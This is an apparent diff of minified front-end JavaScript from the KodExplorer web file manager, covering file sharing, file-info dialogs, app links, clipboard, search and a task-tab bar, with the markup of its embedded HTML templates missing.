t=urlEncode($(this).val());"checkbox"==$(this).attr("type")&&(t=$(this).attr("checked")?"1":""),e+="&"+$(this).attr("name")+"="+t}),h(e,function(e){e.code?(Tips.tips(LNG.success,!0),G.selfShare=e.info,ui.f5(),s(e.data),$(".share-create-button").text(LNG.share_save)):Tips.tips(e)})}),$(".content-info .open-window").unbind("click").bind("click",function(){window.open($("input.share-url").val())}),$(".content-info .qrcode").unbind("click").bind("click",function(){core.qrcode($("input.share-url").val())});var e=$("input.share-url"),a=e.get(0);e.unbind("hover click").bind("hover click",function(){$(this).focus();var t=e.val().length;if($.browser.msie){var i=a.createTextRange();i.moveEnd("character",-a.value.length),i.moveEnd("character",t),i.moveStart("character",0),i.select()}else a.setSelectionRange(0,t)})};s(t),r()},v=function(e){$.ajax({url:G.appHost+"setting/set&k=wall&v="+urlEncode(e),dataType:"json",success:function(e){Tips.tips(e)}})},g=function(e,t,a,i,n){if(!(1>e.length)){var o,s=G.myDesktop;i&&(s=core.pathFather(e)),o="folder"==a?"ui.path.list(hashDecode('"+hashEncode(e)+"'));":"ui.path.open(hashDecode('"+hashEncode(e)+"'));";var r=urlEncode(s+t+".oexe"),l=core.getPathIcon(e);""==l.icon&&(l.icon=a),$.ajax({url:G.appHost+"explorer/mkfile&path="+r,type:"POST",dataType:"json",data:{content:jsonEncode({type:"app_link",content:o,icon:l.icon})},success:function(e){Tips.tips(e),e.code&&(ShareData.frameTop("",function(e){e.ui.f5()}),"function"==typeof n&&n(e.info))}})}},b=function(e,t){if(!(1>e.length)){var a=core.pathThis(e),i=core.pathFather(e);jsrun="core.explorerCode('"+urlEncode(e)+"');";var n=urlEncode(i+a+"_project.oexe");$.ajax({url:G.appHost+"explorer/mkfile&path="+n,type:"POST",dataType:"json",data:'content={"type":"app_link","content":"'+jsrun+'","icon":"folder.png"}',success:function(e){e.code&&"function"==typeof t&&t(e.info)}})}},y=function(e,t,a){if(e){var i=G.appHost+"explorer/imageRotate&rotate="+t+"&path="+urlEncode(e);$.ajax({url:i,beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(e){return e?(Tips.close(e),e.code&&"function"==typeof a&&a(e),void 0):(Tips.close(LNG.php_env_error_gd,!1),void 0)}})}},k=function(t){var a={};a.fileInfo=e("./tpl/fileinfo/fileInfo.html"),a.pathInfo=e("./tpl/fileinfo/pathInfo.html"),a.pathInfoMore=e("./tpl/fileinfo/pathInfoMore.html"),1>t.length&&(t=[{path:G.thisPath,type:"folder"}]);var i="info";1==t.length&&(i="file"==t[0].type?core.pathExt(t[0].path):"folder"),Tips.loading(LNG.getting),core.fileInfo(n(t),function(e){if(!e.code)return Tips.close(e),void 0;Tips.close(LNG.get_success,!0);var n="pathInfoMore",o=LNG.info;1==t.length&&(n="folder"==t[0].type?"pathInfo":"fileInfo",o=core.pathThis(t[0].path),o.length>15&&(o=o.substr(0,15)+"... "+LNG.info));var s=template.compile(a[n]),r=UUID();e.data.is_root=G.isRoot,e.data.LNG=LNG,e.data.atime=date(LNG.time_type_info,e.data.atime),e.data.ctime=date(LNG.time_type_info,e.data.ctime),e.data.mtime=date(LNG.time_type_info,e.data.mtime),e.data.sizeFriendly=pathTools.fileSize(e.data.size);var l=$.dialog({id:r,padding:5,ico:core.iconSmall(i),fixed:!0,title:o,content:s(e.data),ok:!0}),c=15*$(".aui-outer .pathinfo").length;l.DOM.wrap.css({left:"+="+c+"px",top:"+="+c+"px"}),x(r,t)})},x=function(e,t){var a=$("."+e);a.find(".open-window").bind("click",function(){window.open(a.find("input.download-url").val())}),a.find(".qrcode").unbind("click").bind("click",function(){core.qrcode(a.find("input.download-url").val(),a.find(".qrcode").get(0))});var i=a.find(".file-md5-loading");if(1==i.length){var o=n(t);o+="&getMd5=1",core.fileInfo(o,function(e){i.removeClass("file-md5-loading"),e.code?i.html(e.data.fileMd5):i.html(LNG.error)})}var s=a.find("input.download-url"),r=s.get(0);s.unbind("hover click").bind("hover click",function(){$(this).focus();var e=s.val().length;if($.browser.msie){var t=r.createTextRange();t.moveEnd("character",-r.value.length),t.moveEnd("character",e),t.moveStart("character",0),t.select()}else r.setSelectionRange(0,e)}),a.find(".edit-chmod").click(function(){var e=$(this).parent().find("input"),a=$(this);$.ajax({url:G.appHost+"explorer/pathChmod&mod="+e.val(),type:"POST",data:n(t),beforeSend:function(){a.text(LNG.loading)},error:function(){a.text(LNG.button_save)},success:function(e){a.text(e.data).animate({opacity:.6},400,0).delay(1e3).animate({opacity:1},200,0,function(){a.text(LNG.button_save)}),e.code&&ui.f5()}})})},w=function(e,t,a){var i=function(){$.ajax({url:G.appHost+"fav/del&name="+urlEncode(e),dataType:"json",async:!1,success:function(e){"function"==typeof t&&t(e)}})};return a?(i(),void 0):($.dialog({id:"dialog-fav-remove",fixed:!0,icon:"question",title:LNG.fav_remove,width:200,padding:"40px 20px",content:LNG.fav_remove+"?",ok:i,cancel:!0}),void 0)},_=function(e){if(e){if(-1==trim(core.pathClear(e.path),"/").indexOf("/")){var t=core.getPathIcon(e.path,e.name);""!=t.icon&&(e.ext=t.icon,e.name=t.name)}"/"==e.path&&(e.name="Home"),$.ajax({url:G.appHost+"fav/add",dataType:"json",data:e,success:function(e){Tips.tips(e),e.code&&!core.isApp("desktop")&&ui.tree.refreshFav()}})}},L=function(e){var t={};return t.type=e.find("input[type=radio]:checked").val(),t.content=e.find("textarea").val(),t.group=e.find("[name=group]").val(),e.find("input[type=text]").each(function(){var e=$(this).attr("name");t[e]=$(this).val()}),e.find("input[type=checkbox]").each(function(){var e=$(this).attr("name");t[e]="checked"==$(this).attr("checked")?1:0}),t},N=function(e){e.find(".type input").change(function(){var t=$(this).attr("apptype");e.find("[data-type]").addClass("hidden"),e.find("[data-type="+t+"]").removeClass("hidden")}),e.find(".app-edit-select-icon").unbind("click").bind("click",function(){var t=G.basicPath+"static/images/file_icon/icon_app/";G.isRoot||(t=""),core.api.pathSelect({type:"file",title:LNG.path_api_select_file,firstPath:t},function(t){var t=core.path2url(t);e.find(".app-edit-select-icon-input").val(t)})}),e.find(".size-full").unbind("click").bind("click",function(){var t=$(this).prop("checked");t?(e.find("[name=width]").val("100%"),e.find("[name=height]").val("100%")):(e.find("[name=width]").val("800"),e.find("[name=height]").val("600"))})},C=function(t,a,i){var n,o,s,r=LNG.app_create,l=UUID(),c=e("./tpl/appEdit.html"),d=template.compile(c);switch(void 0==i&&(i="userEdit"),"rootEdit"==i&&(t=t),"userEdit"==i||"rootEdit"==i?(r=LNG.app_edit,s=d({LNG:LNG,uuid:l,data:t,appType:G.settings.appType})):s=d({LNG:LNG,uuid:l,data:{},appType:G.settings.appType}),$.dialog({fixed:!0,width:450,id:l,padding:15,title:r,content:s,button:[{name:LNG.preview,callback:function(){return core.openApp(L(n)),!1}},{name:LNG.button_save,focus:!0,callback:function(){var e=L(n);switch(i){case"userAdd":var s=urlEncode(G.thisPath+e.name);o=G.appHost+"app/userApp&action=add&path="+s;break;case"userEdit":o=G.appHost+"app/userApp&path="+urlEncode(t.path);break;case"rootAdd":o=G.appHost+"app/add&name="+urlEncode(e.name);break;case"rootEdit":o=G.appHost+"app/edit&name="+urlEncode(e.name)+"&old_name="+urlEncode(t.name);break;default:}$.ajax({url:o,type:"POST",dataType:"json",data:{data:urlEncode(jsonEncode(e))},beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){if(Tips.close(e),e.code)if("rootEdit"==i||"rootAdd"==i){if(!e.code)return;ShareData.frameTop("Openapp_store",function(e){e.App.reload()})}else"function"==typeof a?a():ui.f5()}})}}]}),n=$("."+l),G.isRoot||$(".appbox .appline .right a.open").remove(),t.group&&n.find("option").eq(t.group).attr("selected",1),n.find(".aui-content").css("overflow","inherit"),i){case"userEdit":n.find(".name").addClass("hidden"),n.find(".desc").addClass("hidden"),n.find(".group").addClass("hidden"),n.find("option[value="+t.group+"]").attr("checked",!0),"url"!=t.type&&n.find(".appline[data-type=url]").addClass("hidden");break;case"userAdd":n.find(".desc").addClass("hidden"),n.find(".group").addClass("hidden"),n.find("[apptype=url]").attr("checked",!0),n.find("[data-type=url] input[name=resize]").attr("checked",!0),n.find("input[name=width]").attr("value","800"),n.find("input[name=height]").attr("value","600"),n.find("input[name=icon]").attr("value","oexe.png");break;case"rootAdd":n.find("[apptype=url]").attr("checked",!0),n.find("[data-type=url] input[name=resize]").attr("checked",!0),n.find("input[name=width]").attr("value","800"),n.find("input[name=height]").attr("value","600"),n.find("input[name=icon]").attr("value","oexe.png");break;case"rootEdit":n.find("option[value="+t.group+"]").attr("selected",!0),"url"!=t.type&&n.find(".appline[data-type=url]").addClass("hidden");break;default:}N(n)},T=function(){core.appStore()},S=function(e){e&&4>e.length&&"http"!=e.substring(0,4)||$.ajax({url:G.appHost+"app/getUrlTitle&url="+e,dataType:"json",beforeSend:function(){Tips.loading()},success:function(t){var a=t.data;a=a.replace(/[\/\\]/g,"_"),Tips.close(t);var i={content:e,type:"url",desc:"",group:"others",icon:"internet.png",name:a,resize:1,simple:0,height:"70%",width:"90%"},n=urlEncode(G.thisPath+a);e=G.appHost+"app/userApp&action=add&path="+n,$.ajax({url:e,type:"POST",dataType:"json",data:{data:urlEncode(jsonEncode(i))},success:function(e){Tips.close(e),e.code&&ui.f5()}})}})};return{makeJson:n,appEdit:C,appList:T,appAddURL:S,share:u,shareBox:f,setBackground:v,createLink:g,createProject:b,imageRotate:y,newFile:o,newFolder:s,rname:r,zipDownload:c,zip:d,unZip:p,info:k,remove:l,fav:_,favRemove:w}}),define("app/path/tpl/fileinfo/fileInfo.html",[],"
          \n {{if downloadPath}}\n
          \n
          {{LNG.download_address}}:
          \n
          \n \n
          \n \n \n
          \n
          \n
          \n
          \n
          \n {{/if}}\n\n
          \n
          {{LNG.address}}:
          \n
          {{path |kod.window.htmlEncode}}
          \n
          \n
          \n
          \n
          {{LNG.size}}:
          \n
          {{sizeFriendly}} ({{size.toLocaleString()}} Byte)
          \n
          \n
          \n\n {{if fileMd5}}\n
          \n
          MD5:
          \n
          {{fileMd5}}
          \n
          \n
          \n {{/if}}\n\n {{if imageSize}}\n
          \n
          {{LNG.image_size}}:
          \n
          {{imageSize.width}} × {{imageSize.height}}
          \n
          \n
          \n {{/if}}\n\n
          \n\n {{if ctime}}\n
          \n
          {{LNG.create_time}}
          \n
          {{ctime}}
          \n
          \n
          \n {{/if}}\n\n {{if mtime}}\n
          \n
          {{LNG.modify_time}}
          \n
          {{mtime}}
          \n
          \n
          \n {{/if}}\n\n {{if atime}}\n
          \n
          {{LNG.last_time}}
          \n
          {{atime}}
          \n
          \n
          \n {{/if}}\n\n {{if owner}}\n
          \n
          {{LNG.file_info_owner}}
          \n
          {{owner}}
          \n
          \n
          \n {{/if}}\n\n {{if group}}\n
          \n
          {{LNG.file_info_group}}
          \n
          {{group}}
          \n
          \n
          \n {{/if}}\n \n {{if mode}}\n
          \n
          \n
          {{LNG.permission}}:
          \n
          {{mode}}
          \n
          \n
          \n {{if is_root==\"1\"}}\n
          \n
          {{LNG.permission_edit}}:
          \n
          \n
          \n
          \n
          \n {{/if}}\n {{/if}}\n
          \n"),define("app/path/tpl/fileinfo/pathInfo.html",[],"
          \n
          \n
          {{LNG.address}}:
          \n
          {{path |kod.window.htmlEncode}}
          \n
          \n
          \n
          \n
          {{LNG.size}}:
          \n
          {{sizeFriendly}} ({{size.toLocaleString()}} Byte)
          \n
          \n
          \n
          \n
          {{LNG.contain}}:
          \n
          {{fileCount}} {{LNG.file}},{{folderCount}} {{LNG.folder}}
          \n
          \n
          \n \n
          \n {{if ctime}}\n
          \n
          {{LNG.create_time}}
          \n
          {{ctime}}
          \n
          \n
          \n {{/if}}\n\n {{if mtime}}\n
          \n
          {{LNG.modify_time}}
          \n
          {{mtime}}
          \n
          \n
          \n {{/if}}\n\n {{if atime}}\n
          \n
          {{LNG.last_time}}
          \n
          {{atime}}
          \n
          \n
          \n {{/if}}\n\n {{if owner}}\n
          \n
          {{LNG.file_info_owner}}
          \n
          {{owner}}
          \n
          \n
          \n {{/if}}\n\n {{if group}}\n
          \n
          {{LNG.file_info_group}}
          \n
          {{group}}
          \n
          \n
          \n {{/if}}\n\n {{if mode}}\n
          \n
          \n
          {{LNG.permission}}:
          \n
          {{mode}}
          \n
          \n
          \n {{if is_root==\"1\"}}\n
          \n
          {{LNG.permission_edit}}:
          \n
          \n
          \n
          \n
          \n {{/if}}\n {{/if}}\n
          \n"),define("app/path/tpl/share.html",[],'
          \n
          \n
          {{LNG.share_title}}
          \n \n
          \n
          \n
          \n {{LNG.share_path}}:\n \n
          \n
          \n
          \n {{LNG.share_name}}:\n \n \n \n \n \n
          \n
          \n\n \n\n \n
          \n \n
          '),define("app/path/tpl/fileinfo/pathInfoMore.html",[],"
          \n
          \n
          {{LNG.info}}:
          \n
          \n {{fileCount}} {{LNG.file}},{{folderCount}} {{LNG.folder}}
          \n
          \n
          \n
          \n
          \n
          {{LNG.size}}:
          \n
          {{sizeFriendly}} ({{size.toLocaleString()}} Byte)
          \n
          \n
          \n \n
          \n
          \n
          {{LNG.permission}}:
          \n
          {{mode}}
          \n
          \n
          \n {{if is_root==\"1\"}}\n
          \n
          {{LNG.permission_edit}}:
          \n
          \n
          \n
          \n
          \n {{/if}}\n
          \n"),define("app/path/tpl/appEdit.html",[],"
          \n
          \n
          {{LNG.name}}
          \n
          \n
          \n
          \n
          \n
          {{LNG.app_desc}}
          \n
          \n
          \n
          \n
          \n
          {{LNG.app_icon}}
          \n
          \n \n
          \n
          \n
          \n
          \n
          {{LNG.app_group}}
          \n
          \n \n
          \n
          \n
          \n
          \n
          {{LNG.app_type}}
          \n
          \n \n \n \n \n \n \n
          \n
          \n
          \n\n
          \n
          {{LNG.app_display}}
          \n
          \n \n \n \n \n
          \n
          \n
          \n
          \n
          {{LNG.app_size}}
          \n
          \n ({{LNG.width}})  \n ({{LNG.height}})\n\n \n \n
          \n
          \n
          \n
          \n \n \n
          {{LNG.app_url}}
          \n
          \n
          \n
          \n
          \n"),define("app/path/clipboard",[],function(){var e=function(e){return ui.path.pathOperate.makeJson(e) -},t=function(t){1>t.length||$.ajax({url:G.appHost+"explorer/pathCopy",type:"POST",dataType:"json",data:e(t),error:core.ajaxError,success:function(e){Tips.tips(e)}})},a=function(t){1>t.length||$.ajax({url:G.appHost+"explorer/pathCute",type:"POST",dataType:"json",data:e(t),error:core.ajaxError,success:function(e){Tips.tips(e)}})},i=function(e,t){e&&(Tips.loading(LNG.moving),setTimeout(function(){var a=G.appHost+"explorer/pathPast&path="+urlEncode(e);$.ajax({url:a,dataType:"json",error:core.ajaxError,success:function(e){Tips.close(e.data,e.code),"function"==typeof t&&t(e.info)}})},50))},n=function(t,a,i){a&&$.ajax({url:G.appHost+"explorer/pathCuteDrag",type:"POST",dataType:"json",data:e(t)+"&path="+urlEncode(a+"/"),beforeSend:function(){Tips.loading(LNG.moving)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof i&&i(e.info)}})},o=function(t,a,i,n){a&&(void 0==n&&(n=0),$.ajax({url:G.appHost+"explorer/pathCopyDrag",type:"POST",dataType:"json",data:e(t)+"&path="+urlEncode(a+"/")+"&filename_auto="+Number(n),beforeSend:function(){Tips.loading(LNG.moving)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof i&&i(e.info)}}))},s=function(e,t){var a="style='height:150px;border-left: 3px solid #def;overflow:auto;margin:20px;background: #f0f8ff;padding:20px;width:300px'",i="
          "+LNG.clipboard_null+"
          ";if(0!=e.length){i="
          "+LNG.clipboard_state+LNG[t]+"
          ";for(var n=40,o=0;e.length>o;o++){var s=e[o],r=s.path;r=n>r.length?r:"..."+r.substr(-n),i+="
          "+s.type+": "+r+""}i+='
          "}return i},r=function(){$.ajax({url:G.appHost+"explorer/clipboard",dataType:"json",error:core.ajaxError,success:function(e){e.code&&($.dialog({id:"dialog-clipboard",title:LNG.clipboard,width:400,content:s(e.data,e.info)}),$(".clipboard-clear").one("click",function(){Tips.tips(LNG.success),$.get(G.appHost+"explorer/clipboard&clear=ok"),$.dialog.list["dialog-clipboard"].close()}))}})},l=function(){var e=function(){var e=G.appHost+"explorer/fileUpload";return"share"==G.sharePage&&"1"==G.shareInfo.canUpload&&(e=G.appHost+"share/fileUpload&user="+G.user+"&sid="+G.sid),e},t=function(e){var t=e.originalEvent;if(t.clipboardData&&t.clipboardData.items){var i=Array.prototype.filter.call(t.clipboardData.items,function(e){return e.type.indexOf("image")>=0});Array.prototype.forEach.call(i,function(e){var t=new FileReader;t.onloadend=function(){a(this.result)},t.readAsDataURL(e.getAsFile())})}},a=function(t){if(!core.uploadCheck("explorer.serverDownload"))return!1;t=t.replace("data:image/png;base64,","");var a=date("20yymd-his")+".png";$.ajax({type:"POST",dataType:"json",url:e()+"&base64Upload=1&upload_to="+urlEncode(G.thisPath)+"&name="+a,data:{file:t},beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(e){Tips.close(e)}})};$(window).on("paste",t)};return l(),{copy:t,cute:a,past:i,cuteDrag:n,copyDrag:o,clipboard:r}}),define("app/path/search",[],function(e){var t=e("./tpl/search.html"),a=e("./tpl/searchList.html");return function(e,i){i||(i=G.thisPath);var n,o,s=function(){var a=trim(core.pathClear(i),"/");if(0==a.indexOf(G.KOD_USER_SHARE)&&-1==a.indexOf("/")||a==G.KOD_USER_FAV||a==G.KOD_GROUP_ROOT_ALL)return Tips.tips(LNG.path_cannot_search,!1),void 0;template.helper("searchResultPrase",c);var s=template.compile(t);0==$(".dialog-do-search").length?(n=$.dialog({id:"dialog-do-search",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG.search,width:460,height:480,content:s({LNG:LNG})}),o=p(),o.path=i,""!=e&&(o.search=e),$("#search-path").val(o.path),$("#search-value").val(o.search),d()):($.dialog.list["dialog-do-search"].display(!0),e&&$("#search-value").val(e),$("#search-path").val(i),l())},r=function(){return o={search:$("#search-value").val(),path:$("#search-path").val(),is_content:Number($("#search-is-content").is(":checked")),is_case:Number($("#search-is-case").is(":checked")),ext:$("#search-ext").val()}},l=function(){r(),f(o)},c=function(e){var t=htmlEncode($("#search-value").val());if(e=htmlEncode(e),o.is_case)e=e.replace(t,''+t+"");else{var a=e.toLowerCase().indexOf(t.toLowerCase());e=e.substr(0,a)+''+e.substr(a,t.length)+""+e.substr(a+t.length)}return e},d=function(){$("#search-value").die("keyup").live("keyup",function(){core.isApp("editor")||ui.path.setSearchByStr($(this).val())}),$("#search-value,#search-ext,#search-path").keyEnter(l),$(".search-header .btn").die("click").live("click",l),$(".search-result .file-item .file-info").die("click").live("click",function(e){var t=$(this).parent();return t.toggleClass("open"),t.find(".result-item").slideToggle(200),stopPP(e),!1}),$(".search-result .file-item .file-info .goto").die("click").live("click",function(e){var t=$(this).parent().parent(),a=pathHashDecode(t.attr("data-path")),i=core.pathFather(a);return core.openPath(i),setTimeout(function(){core.isApp("explorer")&&ui.path.setSelectByFilename(a)},200),stopPP(e),!1}),$(".search-result .file-item .file-info .title").die("click").live("click",function(e){var t=$(this).parent().parent(),a=pathHashDecode(t.attr("data-path"));return kodApp.setLastOpenTarget(t),kodApp.open(a,t.attr("data-ext")),stopPP(e),!1}),$(".search-result .file-item .result-info").die("click").live("click",function(e){var t=$(this).parent().parent(),a=pathHashDecode(t.attr("data-path"));$(".search-result .file-item .result-info.this").removeClass("this"),$(this).addClass("this");var i=parseInt($(this).find(".line").attr("data-line"));return ShareData.data("FILE_SEARCH_AT",{search:$("#search-value").val(),line:i,lineIndex:$(this).parent().find("[data-line="+i+"]").index($(this).find(".line"))}),kodApp.open(a,t.attr("data-ext"),"aceEditor"),stopPP(e),!1}),$(".search-header input[type=checkbox]").on("click",function(){r(),p(o)})},p=function(e){var t="box_search_config";if(void 0==e){var e=LocalData.getConfig(t);return e||(e={search:"",is_content:0,is_case:0,ext:""}),$("#search-value").val(e.search).textSelect(),e.is_content?$("#search-is-content").attr("checked","checked"):$("#search-is-content").removeAttr("checked"),e.is_case?$("#search-is-case").attr("checked","checked"):$("#search-is-case").removeAttr("checked"),$("#search-ext").val(e.ext),e}return LocalData.setConfig(t,e)},u=function(e){var t=$(".file-items"),i=$(".search-desc");if(!e.code)return i.html(e.data),t.html(""),void 0;if(0==e.data.fileList.length&&0==e.data.folderList.length)return i.html(LNG.search_null),t.html(""),void 0;var n=template.compile(a);if(t.html(n({code:e.code,data:e.data,LNG:LNG})),o.is_content){for(var s=e.data.fileList,r=0,l=0;s.length>l;l++)s[l].searchInfo&&(r+=s[l].searchInfo.length);i.html(LNG.search_result+": "+r+"(in "+s.length+" files)"),e.data.error_info&&i.html(""+LNG.seach_result_too_more+"")}else i.html(e.data.fileList.length+" "+LNG.file+", "+e.data.folderList.length+LNG.folder+".")},f=function(e){p(e),$("#search-value").textFocus();var t=$(".file-items"),a=$(".search-desc");if(!e.search||!e.path)return a.html(LNG.search_info),t.html(""),void 0;var i=G.appHost+"explorer/search";G.sharePage!==void 0&&(i=G.appHost+"share/search&user="+G.user+"&sid="+G.sid),$.ajax({url:i,dataType:"json",type:"POST",data:e,beforeSend:function(){a.hide().html(LNG.searching+'').fadeIn(100)},error:function(e,t,i){core.ajaxError(e,t,i),a.html(LNG.error)},success:function(e){u(e)}})};s()}}),define("app/path/tpl/search.html",[],"\n\n"),define("app/path/tpl/searchList.html",[],'\n{{each data.folderList v i}}\n
        • \n
          \n \n {{\'folder\' |kod.core.icon}}\n {{v.name | searchResultPrase}}\n \n
          \n
        • \n{{/each}}\n\n\n{{each data.fileList v i}}\n {{if v.searchInfo}}\n
        • \n
          \n \n {{v.ext |kod.core.icon}}\n \n {{v.name | kod.window.htmlEncode}}\n \n {{v.searchInfo.length}}\n \n
          \n
            \n {{each v.searchInfo value index}}\n
          • \n {{value.line}}:\n {{@value.str | searchResultPrase}}\n
          • \n {{/each}}\n
          \n
        • \n {{else}}\n
        • \n
          \n \n {{v.ext |kod.core.icon}}\n {{v.name | searchResultPrase}}\n \n
          \n
        • \n {{/if}}\n{{/each}}\n\n'),define("app/shareCommon/topbar",[],function(){var e=function(){var e=G.appHost+"share/fileDownload&user="+G.user+"&sid="+G.sid,t=G.appHost+"share/fileProxy&user="+G.user+"&sid="+G.sid;"file"!=G.shareInfo.type&&G.path!==void 0?(t+="&path="+G.path,e+="&path="+G.path,$(".btn.button-my-share").hide(),$(".share-info-user .btn-group").show()):($(".btn.button-my-share").show(),$(".share-info-user .btn-group").hide()),"file"==G.shareInfo.type&&($(".btn.button-my-share").hide(),$(".share-info-user .btn-group").show()),"1"==G.shareInfo.notDownload&&(e="javascript:Tips.tips('"+LNG.share_not_download_tips+"',false);"),$(".share-info-user").removeClass("hidden"),$(".btn-download").attr("href",e);var a=date("Y/m/d H:i:s",G.shareInfo.mtime);$(".topbar .time").html(a),"file"==G.shareInfo.type&&$(".topbar .size").html(G.shareInfo.size),$(".topbar .info").html(LNG.share_view_num+G.shareInfo.numView+" "+LNG.share_download_num+G.shareInfo.numDownload),$("#button_share").die("click").live("click",function(){share()}),"A"!=core.versionType&&$(".version_vip_free").remove(),core.isApp("explorer")&&(console.log($(".btn-download")),$(".btn-download").hide().attr("href","").remove())};return{init:e}}); \ No newline at end of file +/*! power by kodcloud ver4.30(2018-07-05) [build 1530795186808] */ +define("app/src/shareEditor/main",["lib/jquery-lib","lib/util","lib/ztree/ztree","lib/contextMenu/jquery-contextMenu","lib/artDialog/jquery-artDialog","lib/ace/src-min-noconflict/ace","../../common/taskTap","../../common/core","../../common/tpl/upload.html","../../common/tpl/formMake.html","../../common/core.tools","../../common/core.upload","../../common/core.api","../../common/core.playSound","../../common/core.formMake","../../common/rightMenuExtence","../../app/appBase","../../app/editor","../../app/openWith","../../app/html","../../common/tpl/copyright.html","../../common/tpl/themeDIY.html","../../shareCommon/rightMenu","./ui","../../common/tree","../../path/pathOperate","../../path/tpl/fileinfo/fileInfo.html","../../path/tpl/fileinfo/pathInfo.html","../../path/tpl/share.html","../../path/tpl/fileinfo/pathInfoMore.html","../../path/tpl/appEdit.html","../../path/clipboard","../../path/search","../../path/tpl/search.html","../../path/tpl/searchList.html","../../shareCommon/topbar"],function(a,b,c){Config={TreeId:"folder-list-tree",AnimateTime:200,pageApp:"editor",treeAjaxURL:"share/treeList&app=editor&user="+G.user+"&sid="+G.sid},a("lib/jquery-lib"),a("lib/util"),a("lib/ztree/ztree"),a("lib/contextMenu/jquery-contextMenu"),a("lib/artDialog/jquery-artDialog"),a("lib/ace/src-min-noconflict/ace"),TaskTap=a("../../common/taskTap"),core=a("../../common/core"),rightMenu=a("../../shareCommon/rightMenu"),ui=a("./ui"),tree=a("../../common/tree"),ui.tree=tree;var d=a("../../shareCommon/topbar");$(document).ready(function(){rightMenu.initEditor(),core.init(),$(".init-loading").fadeOut(450).addClass("pop_fadeout"),d.init(),G.project.length>1&&(Config.treeAjaxURL+="&project="+urlEncode(G.project)),ui.init(),TaskTap.init()})});;;;;;;;define("app/common/taskTap",[],function(a,b){var c={},d="",e=160,f=function(){$(".task-tab .tab").die("mouseenter").live("mouseenter",function(a){$(this).hasClass("this")||$(this).addClass("hover")}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("hover")})},g=function(a){var b=a.attr("id"),c=$.dialog.list[b];if(void 0==c)return void l(b);var d=$("."+b);"hidden"==d.css("visibility")?c.display(!0).zIndex():d.hasClass("aui-state-focus")?c.display(!1):c.zIndex()},h=function(){var a,b,c,d,f=!1,h=!1,i=0,j=0,k=0,l=0,m=0,n=0;$(".task-tab .tab").die("mousedown").live("mousedown",function(b){1==b.which&&(a=$(this),o(b),this.setCapture&&this.setCapture(),$(document).mousemove(function(a){p(a)}),$(document).one("mouseup",function(b){r(),this.releaseCapture&&this.releaseCapture(),Math.abs(b.pageX-i)<10&&g(a)}))});var o=function(d){f=!0,h=!0,i=d.pageX,$tab_parent=$(".task-tab"),b=$(".task-tab .tab"),$(".tasktab-dragging").remove(),c=a.clone().addClass("tasktab-dragging").prependTo("body"),l=$sizeInt(b.css("margin-right")),m=$tab_parent.width(),n=$tab_parent.get(0).getBoundingClientRect().left,n+=$(window).scrollLeft(),j=a.get(0).getBoundingClientRect().left,k=$sizeInt(b.css("width"));var e=a.get(0).getBoundingClientRect().top-$sizeInt(a.css("margin-top")),g=d.clientX-i+j;$("body").prepend("
          "),c.css({width:k+"px",top:e,left:g}),a.css("opacity",0)},p=function(d){if(h){window.getSelection?window.getSelection().removeAllRanges():document.selection.empty(),0==f&&o(d);var e=d.clientX-i+j;n>e||e>n+m-k||(c.css("left",e),b.each(function(b){var c=$(this).get(0).getBoundingClientRect().left;if(e>c&&c+k/2+l>e){if(a.attr("id")==$(this).attr("id"))return;q($(this).attr("id"),"left")}if(e>c-k/2+l&&c>e){if(a.attr("id")==$(this).attr("id"))return;q($(this).attr("id"),"right")}}))}},q=function(c,f){if(!a.is(":animated")||d!=c){d=c,a.stop(!0,!0),$(".insertTemp").remove(),b=$(".task-tab .tab");var g=a.width(),h=$(".task-tab #"+c),i=a.clone(!0).insertAfter(a).css({"margin-right":"0px",border:"none"}).addClass("insertTemp");"left"==f?a.after(h).css("width","0px"):(a.before(h).css("width","0px"),h.before(i)),a.animate({width:g+"px"},e),i.animate({width:"0px"},e,function(){$(this).remove(),b=$(".task-tab .tab")})}},r=function(){h=!1,f=!1,startTime=0,$(".dragMaskView").remove(),void 0!=c&&(j=a.get(0).getBoundingClientRect().left,c.animate({left:j+"px"},e,function(){a.css("opacity",1),$(this).remove()}))}},i=function(a){var b=110,c=b,d=b+12,f=$(".task-tab .tab"),g=$(".task-tab .tabs").width()-10,h=f.length,i=Math.floor(g/d);switch(h>i&&(c=Math.floor(g/h)-12),a){case"add":$(".task-tab .tabs .this").css("width","0").animate({width:c+"px"},e);case"close":f.animate({width:c+"px"},e);break;case"resize":f.css("width",c+"px")}},j=function(a,b){$(".task-tab").removeClass("hidden");var d=b.replace(/<[^>]+>/g,""),e='";$(e).insertBefore(".task-tab .last"),i("add"),c[a]={id:a,name:name}},k=function(a){$(".task-tab .this").removeClass("this"),$(".task-tab #"+a).addClass("this"),d=a},l=function(a){$(".task-tab #"+a).animate({width:0},e,function(){if($(".task-tab #"+a).remove(),i("close"),0==$(".tabs .tab").length&&!core.isApp("desktop")){var b=31;$(".task-tab").animate({bottom:"-"+b+"px"},200,0,function(){$(this).css({bottom:"0px"}).addClass("hidden")})}}),delete c[a]},m=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menu-taskbar",items:{"quit-others":{name:LNG.close_others,className:"quit-others",icon:"remove-circle",accesskey:"o"},quit:{name:LNG.close,className:"quit",icon:"remove",accesskey:"q"}},callback:function(a,b){var c=b.$trigger.attr("id"),d=$.dialog.list[c];switch(a){case"quit-others":$.each($.dialog.list,function(a,b){c!=a&&b.close()});break;case"quit":d.close()}}})},n=function(){$.contextMenu({zIndex:9999,selector:".task-tab",items:{closeAll:{name:LNG.dialog_close_all,icon:"remove-circle",accesskey:"q"},showAll:{name:LNG.dialog_display_all,icon:"th-large",accesskey:"s"},hideAll:{name:LNG.dialog_min_all,icon:"remove",accesskey:"h"}},callback:function(a,b){var c=b.$trigger.attr("id");$.dialog.list[c];switch(a){case"showAll":$.each($.dialog.list,function(a,b){b.display(!0)});break;case"hideAll":$.each($.dialog.list,function(a,b){b.display(!1)});break;case"closeAll":$.each($.dialog.list,function(a,b){b.close()})}}})};return{add:j,focus:k,close:l,init:function(){var a='
